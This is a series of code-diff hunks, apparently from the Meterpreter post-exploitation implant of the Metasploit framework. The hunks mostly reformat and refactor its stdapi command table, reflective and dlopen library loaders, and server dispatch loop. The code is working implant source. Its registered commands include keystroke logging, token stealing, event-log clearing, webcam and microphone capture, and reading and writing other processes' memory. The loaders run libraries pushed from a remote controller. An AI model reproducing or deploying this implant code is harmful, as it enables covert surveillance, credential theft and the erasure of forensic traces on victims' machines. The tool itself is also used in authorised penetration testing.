#define Sleep(x) usleep(x * 1000)
#define WSASocket(a,b,c,d,e,f) socket(a,b,c)

View File

@ -21,149 +21,150 @@ extern DWORD request_general_channel_open(Remote *remote, Packet *packet);
Command customCommands[] =
{
// General
COMMAND_REQ( "core_channel_open", request_general_channel_open ),
COMMAND_REQ("core_channel_open", request_general_channel_open),
#ifdef WIN32
// Railgun
COMMAND_REQ( "stdapi_railgun_api", request_railgun_api ),
COMMAND_REQ( "stdapi_railgun_api_multi", request_railgun_api_multi ),
COMMAND_REQ( "stdapi_railgun_memread", request_railgun_memread ),
COMMAND_REQ( "stdapi_railgun_memwrite", request_railgun_memwrite ),
COMMAND_REQ("stdapi_railgun_api", request_railgun_api),
COMMAND_REQ("stdapi_railgun_api_multi", request_railgun_api_multi),
COMMAND_REQ("stdapi_railgun_memread", request_railgun_memread),
COMMAND_REQ("stdapi_railgun_memwrite", request_railgun_memwrite),
#endif
// Fs
COMMAND_REQ( "stdapi_fs_ls", request_fs_ls ),
COMMAND_REQ( "stdapi_fs_getwd", request_fs_getwd ),
COMMAND_REQ( "stdapi_fs_chdir", request_fs_chdir ),
COMMAND_REQ( "stdapi_fs_mkdir", request_fs_mkdir ),
COMMAND_REQ( "stdapi_fs_delete_dir", request_fs_delete_dir ),
COMMAND_REQ( "stdapi_fs_delete_file", request_fs_delete_file ),
COMMAND_REQ( "stdapi_fs_separator", request_fs_separator ),
COMMAND_REQ( "stdapi_fs_stat", request_fs_stat ),
COMMAND_REQ( "stdapi_fs_file_expand_path", request_fs_file_expand_path ),
COMMAND_REQ( "stdapi_fs_file_move", request_fs_file_move ),
COMMAND_REQ( "stdapi_fs_md5", request_fs_md5 ),
COMMAND_REQ( "stdapi_fs_sha1", request_fs_sha1 ),
COMMAND_REQ("stdapi_fs_ls", request_fs_ls),
COMMAND_REQ("stdapi_fs_getwd", request_fs_getwd),
COMMAND_REQ("stdapi_fs_chdir", request_fs_chdir),
COMMAND_REQ("stdapi_fs_mkdir", request_fs_mkdir),
COMMAND_REQ("stdapi_fs_delete_dir", request_fs_delete_dir),
COMMAND_REQ("stdapi_fs_delete_file", request_fs_delete_file),
COMMAND_REQ("stdapi_fs_separator", request_fs_separator),
COMMAND_REQ("stdapi_fs_stat", request_fs_stat),
COMMAND_REQ("stdapi_fs_file_expand_path", request_fs_file_expand_path),
COMMAND_REQ("stdapi_fs_file_move", request_fs_file_move),
COMMAND_REQ("stdapi_fs_md5", request_fs_md5),
COMMAND_REQ("stdapi_fs_sha1", request_fs_sha1),
#ifdef _WIN32
COMMAND_REQ( "stdapi_fs_search", request_fs_search ),
COMMAND_REQ("stdapi_fs_search", request_fs_search),
#endif
// Process
COMMAND_REQ( "stdapi_sys_process_attach", request_sys_process_attach ),
COMMAND_REQ( "stdapi_sys_process_close", request_sys_process_close ),
COMMAND_REQ( "stdapi_sys_process_execute", request_sys_process_execute ),
COMMAND_REQ( "stdapi_sys_process_kill", request_sys_process_kill ),
COMMAND_REQ( "stdapi_sys_process_get_processes", request_sys_process_get_processes ),
COMMAND_REQ( "stdapi_sys_process_getpid", request_sys_process_getpid ),
COMMAND_REQ( "stdapi_sys_process_get_info", request_sys_process_get_info ),
COMMAND_REQ( "stdapi_sys_process_wait", request_sys_process_wait ),
COMMAND_REQ("stdapi_sys_process_attach", request_sys_process_attach),
COMMAND_REQ("stdapi_sys_process_close", request_sys_process_close),
COMMAND_REQ("stdapi_sys_process_execute", request_sys_process_execute),
COMMAND_REQ("stdapi_sys_process_kill", request_sys_process_kill),
COMMAND_REQ("stdapi_sys_process_get_processes", request_sys_process_get_processes),
COMMAND_REQ("stdapi_sys_process_getpid", request_sys_process_getpid),
COMMAND_REQ("stdapi_sys_process_get_info", request_sys_process_get_info),
COMMAND_REQ("stdapi_sys_process_wait", request_sys_process_wait),
#ifdef _WIN32
// Image
COMMAND_REQ( "stdapi_sys_process_image_load", request_sys_process_image_load ),
COMMAND_REQ( "stdapi_sys_process_image_get_proc_address", request_sys_process_image_get_proc_address ),
COMMAND_REQ( "stdapi_sys_process_image_unload", request_sys_process_image_unload ),
COMMAND_REQ( "stdapi_sys_process_image_get_images", request_sys_process_image_get_images ),
COMMAND_REQ("stdapi_sys_process_image_load", request_sys_process_image_load),
COMMAND_REQ("stdapi_sys_process_image_get_proc_address", request_sys_process_image_get_proc_address),
COMMAND_REQ("stdapi_sys_process_image_unload", request_sys_process_image_unload),
COMMAND_REQ("stdapi_sys_process_image_get_images", request_sys_process_image_get_images),
// Memory
COMMAND_REQ( "stdapi_sys_process_memory_allocate", request_sys_process_memory_allocate ),
COMMAND_REQ( "stdapi_sys_process_memory_free", request_sys_process_memory_free ),
COMMAND_REQ( "stdapi_sys_process_memory_read", request_sys_process_memory_read ),
COMMAND_REQ( "stdapi_sys_process_memory_write", request_sys_process_memory_write ),
COMMAND_REQ( "stdapi_sys_process_memory_query", request_sys_process_memory_query ),
COMMAND_REQ( "stdapi_sys_process_memory_protect", request_sys_process_memory_protect ),
COMMAND_REQ( "stdapi_sys_process_memory_lock", request_sys_process_memory_lock ),
COMMAND_REQ( "stdapi_sys_process_memory_unlock", request_sys_process_memory_unlock ),
COMMAND_REQ("stdapi_sys_process_memory_allocate", request_sys_process_memory_allocate),
COMMAND_REQ("stdapi_sys_process_memory_free", request_sys_process_memory_free),
COMMAND_REQ("stdapi_sys_process_memory_read", request_sys_process_memory_read),
COMMAND_REQ("stdapi_sys_process_memory_write", request_sys_process_memory_write),
COMMAND_REQ("stdapi_sys_process_memory_query", request_sys_process_memory_query),
COMMAND_REQ("stdapi_sys_process_memory_protect", request_sys_process_memory_protect),
COMMAND_REQ("stdapi_sys_process_memory_lock", request_sys_process_memory_lock),
COMMAND_REQ("stdapi_sys_process_memory_unlock", request_sys_process_memory_unlock),
// Thread
COMMAND_REQ( "stdapi_sys_process_thread_open", request_sys_process_thread_open ),
COMMAND_REQ( "stdapi_sys_process_thread_create", request_sys_process_thread_create ),
COMMAND_REQ( "stdapi_sys_process_thread_close", request_sys_process_thread_close ),
COMMAND_REQ( "stdapi_sys_process_thread_get_threads", request_sys_process_thread_get_threads ),
COMMAND_REQ( "stdapi_sys_process_thread_suspend", request_sys_process_thread_suspend ),
COMMAND_REQ( "stdapi_sys_process_thread_resume", request_sys_process_thread_resume ),
COMMAND_REQ( "stdapi_sys_process_thread_terminate", request_sys_process_thread_terminate ),
COMMAND_REQ( "stdapi_sys_process_thread_query_regs", request_sys_process_thread_query_regs ),
COMMAND_REQ( "stdapi_sys_process_thread_set_regs", request_sys_process_thread_set_regs ),
COMMAND_REQ("stdapi_sys_process_thread_open", request_sys_process_thread_open),
COMMAND_REQ("stdapi_sys_process_thread_create", request_sys_process_thread_create),
COMMAND_REQ("stdapi_sys_process_thread_close", request_sys_process_thread_close),
COMMAND_REQ("stdapi_sys_process_thread_get_threads", request_sys_process_thread_get_threads),
COMMAND_REQ("stdapi_sys_process_thread_suspend", request_sys_process_thread_suspend),
COMMAND_REQ("stdapi_sys_process_thread_resume", request_sys_process_thread_resume),
COMMAND_REQ("stdapi_sys_process_thread_terminate", request_sys_process_thread_terminate),
COMMAND_REQ("stdapi_sys_process_thread_query_regs", request_sys_process_thread_query_regs),
COMMAND_REQ("stdapi_sys_process_thread_set_regs", request_sys_process_thread_set_regs),
// Registry
COMMAND_REQ( "stdapi_registry_check_key_exists", request_registry_check_key_exists ),
COMMAND_REQ( "stdapi_registry_load_key", request_registry_load_key ),
COMMAND_REQ( "stdapi_registry_unload_key", request_registry_unload_key ),
COMMAND_REQ( "stdapi_registry_open_key", request_registry_open_key ),
COMMAND_REQ( "stdapi_registry_open_remote_key", request_registry_open_remote_key ),
COMMAND_REQ( "stdapi_registry_create_key", request_registry_create_key ),
COMMAND_REQ( "stdapi_registry_enum_key", request_registry_enum_key ),
COMMAND_REQ( "stdapi_registry_delete_key", request_registry_delete_key ),
COMMAND_REQ( "stdapi_registry_close_key", request_registry_close_key ),
COMMAND_REQ( "stdapi_registry_set_value", request_registry_set_value ),
COMMAND_REQ( "stdapi_registry_query_value", request_registry_query_value ),
COMMAND_REQ( "stdapi_registry_query_class", request_registry_query_class ),
COMMAND_REQ( "stdapi_registry_enum_value", request_registry_enum_value ),
COMMAND_REQ( "stdapi_registry_delete_value", request_registry_delete_value ),
COMMAND_REQ("stdapi_registry_check_key_exists", request_registry_check_key_exists),
COMMAND_REQ("stdapi_registry_load_key", request_registry_load_key),
COMMAND_REQ("stdapi_registry_unload_key", request_registry_unload_key),
COMMAND_REQ("stdapi_registry_open_key", request_registry_open_key),
COMMAND_REQ("stdapi_registry_open_remote_key", request_registry_open_remote_key),
COMMAND_REQ("stdapi_registry_create_key", request_registry_create_key),
COMMAND_REQ("stdapi_registry_enum_key", request_registry_enum_key),
COMMAND_REQ("stdapi_registry_delete_key", request_registry_delete_key),
COMMAND_REQ("stdapi_registry_close_key", request_registry_close_key),
COMMAND_REQ("stdapi_registry_set_value", request_registry_set_value),
COMMAND_REQ("stdapi_registry_query_value", request_registry_query_value),
COMMAND_REQ("stdapi_registry_query_class", request_registry_query_class),
COMMAND_REQ("stdapi_registry_enum_value", request_registry_enum_value),
COMMAND_REQ("stdapi_registry_delete_value", request_registry_delete_value),
#endif
// Sys/config
COMMAND_REQ( "stdapi_sys_config_getuid", request_sys_config_getuid ),
COMMAND_REQ( "stdapi_sys_config_sysinfo", request_sys_config_sysinfo ),
COMMAND_REQ( "stdapi_sys_config_rev2self", request_sys_config_rev2self ),
COMMAND_REQ( "stdapi_sys_config_getprivs", request_sys_config_getprivs ),
COMMAND_REQ( "stdapi_sys_config_getenv", request_sys_config_getenv ),
COMMAND_REQ("stdapi_sys_config_getuid", request_sys_config_getuid),
COMMAND_REQ("stdapi_sys_config_sysinfo", request_sys_config_sysinfo),
COMMAND_REQ("stdapi_sys_config_rev2self", request_sys_config_rev2self),
COMMAND_REQ("stdapi_sys_config_getprivs", request_sys_config_getprivs),
COMMAND_REQ("stdapi_sys_config_getenv", request_sys_config_getenv),
#ifdef _WIN32
COMMAND_REQ( "stdapi_sys_config_steal_token", request_sys_config_steal_token ),
COMMAND_REQ( "stdapi_sys_config_drop_token", request_sys_config_drop_token ),
COMMAND_REQ("stdapi_sys_config_steal_token", request_sys_config_steal_token),
COMMAND_REQ("stdapi_sys_config_drop_token", request_sys_config_drop_token),
#endif
// Net
COMMAND_REQ( "stdapi_net_config_get_routes", request_net_config_get_routes ),
COMMAND_REQ( "stdapi_net_config_add_route", request_net_config_add_route ),
COMMAND_REQ( "stdapi_net_config_remove_route", request_net_config_remove_route ),
COMMAND_REQ( "stdapi_net_config_get_interfaces", request_net_config_get_interfaces ),
COMMAND_REQ( "stdapi_net_config_get_arp_table", request_net_config_get_arp_table ),
COMMAND_REQ( "stdapi_net_config_get_netstat", request_net_config_get_netstat ),
COMMAND_REQ("stdapi_net_config_get_routes", request_net_config_get_routes),
COMMAND_REQ("stdapi_net_config_add_route", request_net_config_add_route),
COMMAND_REQ("stdapi_net_config_remove_route", request_net_config_remove_route),
COMMAND_REQ("stdapi_net_config_get_interfaces", request_net_config_get_interfaces),
COMMAND_REQ("stdapi_net_config_get_arp_table", request_net_config_get_arp_table),
COMMAND_REQ("stdapi_net_config_get_netstat", request_net_config_get_netstat),
#ifdef WIN32
COMMAND_REQ( "stdapi_net_config_get_proxy", request_net_config_get_proxy_config),
// Proxy
COMMAND_REQ("stdapi_net_config_get_proxy", request_net_config_get_proxy_config),
// Resolve
COMMAND_REQ( "stdapi_net_resolve_host", request_resolve_host ),
COMMAND_REQ( "stdapi_net_resolve_hosts", request_resolve_hosts ),
COMMAND_REQ("stdapi_net_resolve_host", request_resolve_host),
COMMAND_REQ("stdapi_net_resolve_hosts", request_resolve_hosts),
#endif
// Socket
COMMAND_REQ( "stdapi_net_socket_tcp_shutdown", request_net_socket_tcp_shutdown ),
COMMAND_REQ("stdapi_net_socket_tcp_shutdown", request_net_socket_tcp_shutdown),
#ifdef _WIN32
// UI
COMMAND_REQ( "stdapi_ui_enable_mouse", request_ui_enable_mouse ),
COMMAND_REQ( "stdapi_ui_enable_keyboard", request_ui_enable_keyboard ),
COMMAND_REQ( "stdapi_ui_get_idle_time", request_ui_get_idle_time ),
COMMAND_REQ( "stdapi_ui_start_keyscan", request_ui_start_keyscan ),
COMMAND_REQ( "stdapi_ui_stop_keyscan", request_ui_stop_keyscan ),
COMMAND_REQ( "stdapi_ui_get_keys", request_ui_get_keys ),
COMMAND_REQ( "stdapi_ui_desktop_enum", request_ui_desktop_enum ),
COMMAND_REQ( "stdapi_ui_desktop_get", request_ui_desktop_get ),
COMMAND_REQ( "stdapi_ui_desktop_set", request_ui_desktop_set ),
COMMAND_REQ( "stdapi_ui_desktop_screenshot", request_ui_desktop_screenshot ),
COMMAND_REQ("stdapi_ui_enable_mouse", request_ui_enable_mouse),
COMMAND_REQ("stdapi_ui_enable_keyboard", request_ui_enable_keyboard),
COMMAND_REQ("stdapi_ui_get_idle_time", request_ui_get_idle_time),
COMMAND_REQ("stdapi_ui_start_keyscan", request_ui_start_keyscan),
COMMAND_REQ("stdapi_ui_stop_keyscan", request_ui_stop_keyscan),
COMMAND_REQ("stdapi_ui_get_keys", request_ui_get_keys),
COMMAND_REQ("stdapi_ui_desktop_enum", request_ui_desktop_enum),
COMMAND_REQ("stdapi_ui_desktop_get", request_ui_desktop_get),
COMMAND_REQ("stdapi_ui_desktop_set", request_ui_desktop_set),
COMMAND_REQ("stdapi_ui_desktop_screenshot", request_ui_desktop_screenshot),
// Event Log
COMMAND_REQ( "stdapi_sys_eventlog_open", request_sys_eventlog_open ),
COMMAND_REQ( "stdapi_sys_eventlog_numrecords", request_sys_eventlog_numrecords ),
COMMAND_REQ( "stdapi_sys_eventlog_read", request_sys_eventlog_read ),
COMMAND_REQ( "stdapi_sys_eventlog_oldest", request_sys_eventlog_oldest ),
COMMAND_REQ( "stdapi_sys_eventlog_clear", request_sys_eventlog_clear ),
COMMAND_REQ( "stdapi_sys_eventlog_close", request_sys_eventlog_close ),
COMMAND_REQ("stdapi_sys_eventlog_open", request_sys_eventlog_open),
COMMAND_REQ("stdapi_sys_eventlog_numrecords", request_sys_eventlog_numrecords),
COMMAND_REQ("stdapi_sys_eventlog_read", request_sys_eventlog_read),
COMMAND_REQ("stdapi_sys_eventlog_oldest", request_sys_eventlog_oldest),
COMMAND_REQ("stdapi_sys_eventlog_clear", request_sys_eventlog_clear),
COMMAND_REQ("stdapi_sys_eventlog_close", request_sys_eventlog_close),
// Power
COMMAND_REQ( "stdapi_sys_power_exitwindows", request_sys_power_exitwindows ),
COMMAND_REQ("stdapi_sys_power_exitwindows", request_sys_power_exitwindows),
// Webcam
COMMAND_REQ( "webcam_list", request_webcam_list ),
COMMAND_REQ( "webcam_start", request_webcam_start ),
COMMAND_REQ( "webcam_get_frame", request_webcam_get_frame ),
COMMAND_REQ( "webcam_stop", request_webcam_stop ),
COMMAND_REQ("webcam_list", request_webcam_list),
COMMAND_REQ("webcam_start", request_webcam_start),
COMMAND_REQ("webcam_get_frame", request_webcam_get_frame),
COMMAND_REQ("webcam_stop", request_webcam_stop),
// Audio
COMMAND_REQ( "webcam_audio_record", request_ui_record_mic ),
COMMAND_REQ("webcam_audio_record", request_ui_record_mic),
#endif
COMMAND_TERMINATOR
@ -181,7 +182,7 @@ DWORD InitServerExtension(Remote *remote)
#ifdef _WIN32
hMetSrv = remote->hMetSrv;
#endif
command_register_all( customCommands );
command_register_all(customCommands);
return ERROR_SUCCESS;
}
@ -195,8 +196,7 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
DWORD DeinitServerExtension(Remote *remote)
#endif
{
command_deregister_all( customCommands );
command_deregister_all(customCommands);
return ERROR_SUCCESS;
}

View File

@ -1,10 +1,9 @@
#include <dlfcn.h>
#include "metsrv.h"
extern Command *extension_commands;
extern Command *extensionCommands;
DWORD
request_core_loadlib(Remote *remote, Packet *packet)
DWORD request_core_loadlib(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
@ -14,24 +13,24 @@ request_core_loadlib(Remote *remote, Packet *packet)
PCHAR targetPath;
int local_error = 0;
Command *command;
Command *first = extension_commands;
Command *first = extensionCommands;
do
{
Tlv dataTlv;
libraryPath = packet_get_tlv_value_string(packet,
TLV_TYPE_LIBRARY_PATH);
flags = packet_get_tlv_value_uint(packet,
TLV_TYPE_FLAGS);
libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
// Invalid library path?
if (!libraryPath) {
if (!libraryPath)
{
res = ERROR_INVALID_PARAMETER;
break;
}
if(flags & LOAD_LIBRARY_FLAG_LOCAL) {
if (flags & LOAD_LIBRARY_FLAG_LOCAL)
{
// i'd be surprised if we could load
// libraries off the remote system without breaking severely.
res = ERROR_NOT_SUPPORTED;
@ -40,43 +39,50 @@ request_core_loadlib(Remote *remote, Packet *packet)
// Get the library's file contents
if ((packet_get_tlv(packet, TLV_TYPE_DATA,
&dataTlv) != ERROR_SUCCESS) ||
(!(targetPath = packet_get_tlv_value_string(packet,
TLV_TYPE_TARGET_PATH)))) {
&dataTlv) != ERROR_SUCCESS) ||
(!(targetPath = packet_get_tlv_value_string(packet,
TLV_TYPE_TARGET_PATH))))
{
res = ERROR_INVALID_PARAMETER;
break;
}
dprintf("targetPath: %s", targetPath);
library = dlopenbuf(targetPath, dataTlv.buffer, dataTlv.header.length );
library = dlopenbuf(targetPath, dataTlv.buffer, dataTlv.header.length);
dprintf("dlopenbuf(%s): %08x / %s", targetPath, library, dlerror());
if(! library) {
if (!library)
{
res = ERROR_NOT_FOUND;
break;
}
// If this library is supposed to be an extension library, try to
// call its Init routine
if (flags & LOAD_LIBRARY_FLAG_EXTENSION) {
DWORD (*init)(Remote *remote);
if (flags & LOAD_LIBRARY_FLAG_EXTENSION)
{
DWORD(*init)(Remote *remote);
init = dlsym(library, "InitServerExtension" );
init = dlsym(library, "InitServerExtension");
// Call the init routine in the library
if( init ) {
if (init)
{
dprintf("calling InitServerExtension");
res = init(remote);
}
if (response) {
for (command = extension_commands; command != first; command = command->next) {
if (response)
{
for (command = extensionCommands; command != first; command = command->next)
{
packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
}
}
}
} while (0);
if (response) {
if (response)
{
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
packet_transmit(remote, response, NULL);
}

View File

@ -1,3 +1,6 @@
/*!
* @file server_setup.c
*/
#include "metsrv.h"
#include "../../common/common.h"
@ -43,33 +46,37 @@ const unsigned int hAppInstance = 0x504b5320; // 'PKS '
#define PREPEND_INFO "### Info : "
#define PREPEND_WARN "### Warn : "
/*
* This thread is the main server thread which we use to syncronize a gracefull
* shutdown of the server during process migration.
*/
THREAD * serverThread = NULL;
/*! @brief This thread is the main server thread. */
static THREAD * serverThread = NULL;
/*
* An array of locks for use by OpenSSL.
*/
/*! @brief An array of locks for use by OpenSSL. */
static LOCK ** ssl_locks = NULL;
/*
* A callback function used by OpenSSL to leverage native system locks.
/*!
* @brief A callback function used by OpenSSL to leverage native system locks.
* @param mode The lock mode to set.
* @param type The lock type to operate on.
* @param file Unused.
* @param line Unused.
*/
static VOID server_locking_callback( int mode, int type, const char * file, int line )
static VOID server_locking_callback(int mode, int type, const char * file, int line)
{
if( mode & CRYPTO_LOCK )
lock_acquire( ssl_locks[type] );
if (mode & CRYPTO_LOCK)
{
lock_acquire(ssl_locks[type]);
}
else
lock_release( ssl_locks[type] );
{
lock_release(ssl_locks[type]);
}
}
/*
* A callback function used by OpenSSL to get the current threads id.
* While not needed on windows this must be used for posix meterpreter.
/*!
* @brief A callback function used by OpenSSL to get the current threads id.
* @returns The current thread ID.
* @remarks While not needed on windows this must be used for posix meterpreter.
*/
static DWORD server_threadid_callback( VOID )
static DWORD server_threadid_callback(VOID)
{
#ifdef _WIN32
return GetCurrentThreadId();
@ -81,7 +88,7 @@ static DWORD server_threadid_callback( VOID )
/*
* Callback function for dynamic lock creation for OpenSSL.
*/
static struct CRYPTO_dynlock_value * server_dynamiclock_create( const char * file, int line )
static struct CRYPTO_dynlock_value * server_dynamiclock_create(const char * file, int line)
{
return (struct CRYPTO_dynlock_value *)lock_create();
}
@ -93,10 +100,14 @@ static void server_dynamiclock_lock( int mode, struct CRYPTO_dynlock_value * l,
{
LOCK * lock = (LOCK *)l;
if( mode & CRYPTO_LOCK )
lock_acquire( lock );
if (mode & CRYPTO_LOCK)
{
lock_acquire(lock);
}
else
lock_release( lock );
{
lock_release(lock);
}
}
/*
@ -322,59 +333,62 @@ static BOOL server_negotiate_ssl(Remote *remote)
return success;
}
/*
* The servers main dispatch loop for incoming requests using SSL over TCP
/*!
* @brief The servers main dispatch loop for incoming requests using SSL over TCP
* @param remote Pointer to the remote endpoint for this server connection.
* @returns Indication of success or failure.
*/
static DWORD server_dispatch( Remote * remote )
static DWORD server_dispatch(Remote * remote)
{
LONG result = ERROR_SUCCESS;
BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
Packet * packet = NULL;
THREAD * cpt = NULL;
THREAD * cpt = NULL;
dprintf( "[DISPATCH] entering server_dispatch( 0x%08X )", remote );
dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote);
// Bring up the scheduler subsystem.
result = scheduler_initialize( remote );
if( result != ERROR_SUCCESS )
return result;
while( TRUE )
result = scheduler_initialize(remote);
if (result != ERROR_SUCCESS)
{
if( event_poll( serverThread->sigterm, 0 ) )
return result;
}
while (running)
{
if (event_poll(serverThread->sigterm, 0))
{
dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." );
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
break;
}
result = server_socket_poll( remote, 100 );
if( result > 0 )
result = server_socket_poll(remote, 100);
if (result > 0)
{
result = packet_receive( remote, &packet );
if( result != ERROR_SUCCESS ) {
dprintf( "[DISPATCH] packet_receive returned %d, exiting dispatcher...", result );
result = packet_receive(remote, &packet);
if (result != ERROR_SUCCESS)
{
dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
break;
}
if( !command_handle( remote, packet ) )
{
dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
break;
}
running = command_handle(remote, packet);
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
}
else if( result < 0 )
else if (result < 0)
{
dprintf( "[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result );
dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result);
break;
}
}
dprintf( "[DISPATCH] calling scheduler_destroy..." );
dprintf("[DISPATCH] calling scheduler_destroy...");
scheduler_destroy();
dprintf( "[DISPATCH] calling command_join_threads..." );
dprintf("[DISPATCH] calling command_join_threads...");
command_join_threads();
dprintf( "[DISPATCH] leaving server_dispatch." );
dprintf("[DISPATCH] leaving server_dispatch.");
return result;
}
@ -385,6 +399,7 @@ static DWORD server_dispatch( Remote * remote )
*/
static DWORD server_dispatch_http_wininet( Remote * remote )
{
BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
Packet * packet = NULL;
THREAD * cpt = NULL;
@ -455,7 +470,7 @@ static DWORD server_dispatch_http_wininet( Remote * remote )
if( result != ERROR_SUCCESS )
return result;
while( TRUE )
while(running)
{
if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp()) {
dprintf("[DISPATCH] Shutting down server due to communication timeout");
@ -501,11 +516,8 @@ static DWORD server_dispatch_http_wininet( Remote * remote )
dprintf("[DISPATCH] Returned result: %d", result);
if( !command_handle( remote, packet ) )
{
dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
break;
}
running = command_handle(remote, packet);
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
}
// Close WinInet handles

View File

@ -6,7 +6,7 @@ extern HINSTANCE hAppInstance;
// see remote_dispatch_common.c
extern LIST * extension_list;
// see common/base.c
extern Command *extension_commands;
extern Command *extensionCommands;
DWORD request_core_loadlib(Remote *remote, Packet *packet)
{
@ -17,15 +17,13 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
DWORD flags = 0;
BOOL bLibLoadedReflectivly = FALSE;
Command *first = extension_commands;
Command *first = extensionCommands;
Command *command;
do
{
libraryPath = packet_get_tlv_value_string(packet,
TLV_TYPE_LIBRARY_PATH);
flags = packet_get_tlv_value_uint(packet,
TLV_TYPE_FLAGS);
libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
// Invalid library path?
if (!libraryPath)
@ -42,9 +40,9 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
// Get the library's file contents
if ((packet_get_tlv(packet, TLV_TYPE_DATA,
&dataTlv) != ERROR_SUCCESS) ||
(!(targetPath = packet_get_tlv_value_string(packet,
TLV_TYPE_TARGET_PATH))))
&dataTlv) != ERROR_SUCCESS) ||
(!(targetPath = packet_get_tlv_value_string(packet,
TLV_TYPE_TARGET_PATH))))
{
res = ERROR_INVALID_PARAMETER;
break;
@ -54,13 +52,13 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
{
// try to load the library via its reflective loader...
library = LoadLibraryR( dataTlv.buffer, dataTlv.header.length );
if( library == NULL )
library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length);
if (library == NULL)
{
// if that fails, presumably besause the library doesn't support
// reflective injection, we default to using libloader...
library = libloader_load_library( targetPath,
dataTlv.buffer, dataTlv.header.length );
library = libloader_load_library(targetPath,
dataTlv.buffer, dataTlv.header.length);
}
else
{
@ -72,8 +70,8 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
else
{
// Otherwise, save the library buffer to disk
res = buffer_to_file(targetPath, dataTlv.buffer,
dataTlv.header.length);
res = buffer_to_file(targetPath, dataTlv.buffer,
dataTlv.header.length);
}
// Override the library path
@ -94,21 +92,21 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
// call its Init routine
if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && (library))
{
EXTENSION * extension = (EXTENSION *)malloc( sizeof(EXTENSION) );
if( extension )
EXTENSION * extension = (EXTENSION *)malloc(sizeof(EXTENSION));
if (extension)
{
extension->library = library;
// if the library was loaded via its reflective loader we must use GetProcAddressR()
if( bLibLoadedReflectivly )
if (bLibLoadedReflectivly)
{
extension->init = (PSRVINIT)GetProcAddressR( extension->library, "InitServerExtension" );
extension->deinit = (PSRVDEINIT)GetProcAddressR( extension->library, "DeinitServerExtension" );
extension->init = (PSRVINIT)GetProcAddressR(extension->library, "InitServerExtension");
extension->deinit = (PSRVDEINIT)GetProcAddressR(extension->library, "DeinitServerExtension");
}
else
{
extension->init = (PSRVINIT)GetProcAddress( extension->library, "InitServerExtension" );
extension->deinit = (PSRVDEINIT)GetProcAddress( extension->library, "DeinitServerExtension" );
extension->init = (PSRVINIT)GetProcAddress(extension->library, "InitServerExtension");
extension->deinit = (PSRVDEINIT)GetProcAddress(extension->library, "DeinitServerExtension");
}
// patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading
@ -117,20 +115,26 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
remote->hMetSrv = hAppInstance;
// Call the init routine in the library
if( extension->init )
if (extension->init)
{
dprintf("[SERVER] Calling init()...");
res = extension->init( remote );
res = extension->init(remote);
if( res == ERROR_SUCCESS )
list_push( extension_list, extension );
if (res == ERROR_SUCCESS)
{
list_push(extension_list, extension);
}
else
free( extension );
{
free(extension);
}
}
dprintf("[SERVER] Called init()...");
if (response) {
for (command = extension_commands; command != first; command = command->next) {
if (response)
{
for (command = extensionCommands; command != first; command = command->next)
{
packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
}
}